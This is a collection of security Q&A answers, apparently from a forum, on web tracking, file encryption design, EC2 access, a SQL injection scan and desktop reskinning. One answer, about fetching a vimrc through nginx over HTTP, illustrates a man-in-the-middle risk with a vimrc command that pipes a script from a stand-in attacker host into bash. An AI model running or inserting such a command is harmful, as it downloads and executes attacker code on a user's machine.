When you opt out of tracking (the "do not track" option) on any of these sites, it just sets another cookie which tells them not to link any data about your online behaviour together.

Your ISP knows what sites you visit through different means - your data passes through their systems, so they can just grab out a list of where you have been. Depending on your country, it might be a legal requirement for them to store this data.

Your PC manufacturer, though, probably can't tell what websites you've been on, unless they pre-installed some tracking software (look up "Lenovo superfish" for an example of this), but this is not particularly common, since it causes all kinds of bad publicity for them, and doesn't provide them with any useful information.


What does the existence of this file indicate?

It's just a normal shortcut file. When you right click on a file and choose "Create Shortcut" this is the resulting file it creates.
In this case it is in the recent folder. Items are automatically made and added to the recent folder when they have been recently accessed.
There is no security concern here.


Very unreasonable.

The first question I think you need to ask is if file encryption is necessary.  Based on your question it sounds like the answer is yes.  To me that means that you A) should implement file encryption and B) do it well.  What you describe is A but not B which is arguably worse than nothing at all because it may give your users a false sense of security.

Here are my concerns (as an engineer and potential user of your product):

"I know absolutely nothing about crypto" -- Crypto is easy to get wrong and hard to get right, why would you want it implemented by someone who self-admittedly doesn't know anything about crypto?  Think about the products you rely on as a customer, if their security was implemented by someone who didn't know anything about security, would that give you confidence?

"The encryption key is the user hashed password" -- Generating a random, unique symmetric key per file is easy.  Each time you need to store a file, create a new key and encrypt that key with something only the file-owner knows (password may not be a bad choice).  Why would you want all the files to become unrecoverable when they change their password?

"allow the user to provide his own encryption key" -- This is actually an excellent idea and something that Amazon S3 just introduced.  Allow users to provide encrypted files or plaintext files along with an encryption key.  Your servers take on the work of encryption but the user gets control.  Just make sure you purge the encryption key after you use it, don't let it sit around in memory or in log files.


Security concerns when using nginx as a lightweight URL shortener

The only vulnerability here is the http:// connection that you wished to ignore.

Suppose that there is a MITM, and the attacker added to your .vimrc

command Q !curl http://evilwebsite.com/infect.sh | bash

Then, misspelling :q as :Q would infect your machine.¹ Is it really worth the risk?

Note that even if you secured your connection to example.com, the same risk would be there if the proxying was done through http:.

The basic solution would be to do configure SSL, and it will surely be useful for other things, too.

But in this specific case, where nginx is fetching a public https:// url, you could simply replace this with a redirect:

rewrite ^ https://some/publicly/available/url/to/vimrc ;

and manually verify that curl is redirecting you to the expected server.

Still, having a routine of downloading of your dot files from someone else's server strongly relies on them being both honest and not compromised.

¹ There are probably better vector.


Security for External Communication to an EC2 on AWS

Security Groups are a network level protection, while any public/private key system is usually an application level protection. You can apply both.

But if you're already maxing out your IPs in security groups, chances are the server is more or less public already, we need to think about other ways to restrict access that's going to be sustainable.

So yes, use some application level authentication, and allow all IPs to access the server. Remove the security group, but place the EC2 in a public subnet with an internet gateway (there you'll get access to Security Groups, NACLs etc). Use security groups to grant access only to the port of your application (and nothing else). Use System Manager Session Manager for SSH access.

Implementing a WAF is also a good idea, to protect your server from hacks (once you open it up to the whole internet). But you shouldn't use it to filter IPs, it's not built for that -- WAFs are meant to deny malicious IPs, not to filter out for User IPs. So put the WAF in place to protect your now free-ly accessible server.

Running a VPN is actually the best idea. That way your communication can be private all the way (although I'd still recommend at least some authentication).

Other recommendations including placing all of this behind cloudfront (if HTTP based), ensure your applications logs all user logins (using cloudwatch of something similar), and frequently monitor your EC2 instance for anomalous activity (CPU-spikes, large network egress etc).


What type of attack is the below SQL injection?

This is a pretty basic scan attack that can determine a couple of things on your system without much effort.

Is your system running MySQL
Will your system parse the SQL statement and return a value.

If your server responds appropriately to the command, the attacker knows that they can manipulate your database and potential exploit your system. Uh oh.

The good news is this is just a scan. Take it, see if you can make the command work on your own and learn how they want to attack from there.

More information on this can be seen here:

https://firegenanalytics.com/2017/12/splunk-review-121017/

-- Edit --

I just wanted to point out that they weren't trying to get anything from your database. They just attempted to create a temp table with some columns and values for their temp table to perform a command assessment. The values don't really mean anything.


Is reskinning work computer desktops a practical security measure?

No, it is not a practical security measure.   I'm not going to speculate on the specific case you mentioned as I don't have all of the facts, but there are a couple of more generally relevant points.

First: Attackers do not determine which attacks might work based on the desktop chrome.  They're going to figure out what the OS actually is, by any number of mechanisms. In addition, if someone were to have such a wacky idea, it would make far more sense to to attempt to pretend that a machine running an older, more vulnerable OS was newer, rather than the reverse described.  Attempting to disguise Windows 7 machines as Windows 2000 by way of a desktop background would be not only useless, but uniquely and bizarrely useless.

Second:  Withholding information about an OS from attackers is generally recognized to be a good practice, but of very minor importance.  You'll see it regularly in pen-test results of web applications, for instance.  There will be findings, deemed to be of low importance, suggesting the removal of headers identifying the web server software, or OS, or version, or the web application framework.   They're findings because they can deter the very laziest or incompetent of attackers, but nobody would suggest that they would thwart a serious adversary from affecting a compromise, or even figuring out what the underlying technology really is.

So no, the case you described is most certainly not a security measure.